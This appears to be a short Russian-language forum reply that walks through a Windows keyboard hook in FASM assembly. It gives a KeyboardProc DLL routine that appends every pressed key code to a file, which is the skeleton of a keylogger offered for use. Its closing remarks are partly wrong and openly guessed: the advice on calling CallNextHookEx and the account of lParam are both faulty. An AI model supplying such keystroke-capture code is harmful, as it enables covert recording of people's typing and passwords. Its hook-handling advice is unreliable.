LoadLibrary - загружаем DLL
GetProcAddress - ищем адрес нашей процедуры в dll
SetWindowsHookEx - устанавливаем хук
__________________________ DLL proc KeyboardProc, nCode, wparam, lparam
invoke MessageBeep, NULL
xor eax, eax
invoke CreateFile, szFile, GENERIC_WRITE, FILE_SHARE_WRITE, eax, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, eax
mov [hfile], eax
invoke SetFilePointer, [hfile], NULL, NULL, FILE_END
cinvoke wsprintf, key_buffer, format_buf, [wparam]
invoke WriteFile, [hfile], key_buffer, 4, BytesOfWritten, 0
invoke CloseHandle, [hfile]
ret
endp
Если nCode = 0 нужно вообще то вызвать CallNextHookEx, ну думаю ты сам разберешься как...
wParam - код клавиши... А lparam если возвращает 0 то клавиша отпущена, если 1 то клавиша нажата, точно не могу сказать сам этим делом серьезно не занимался...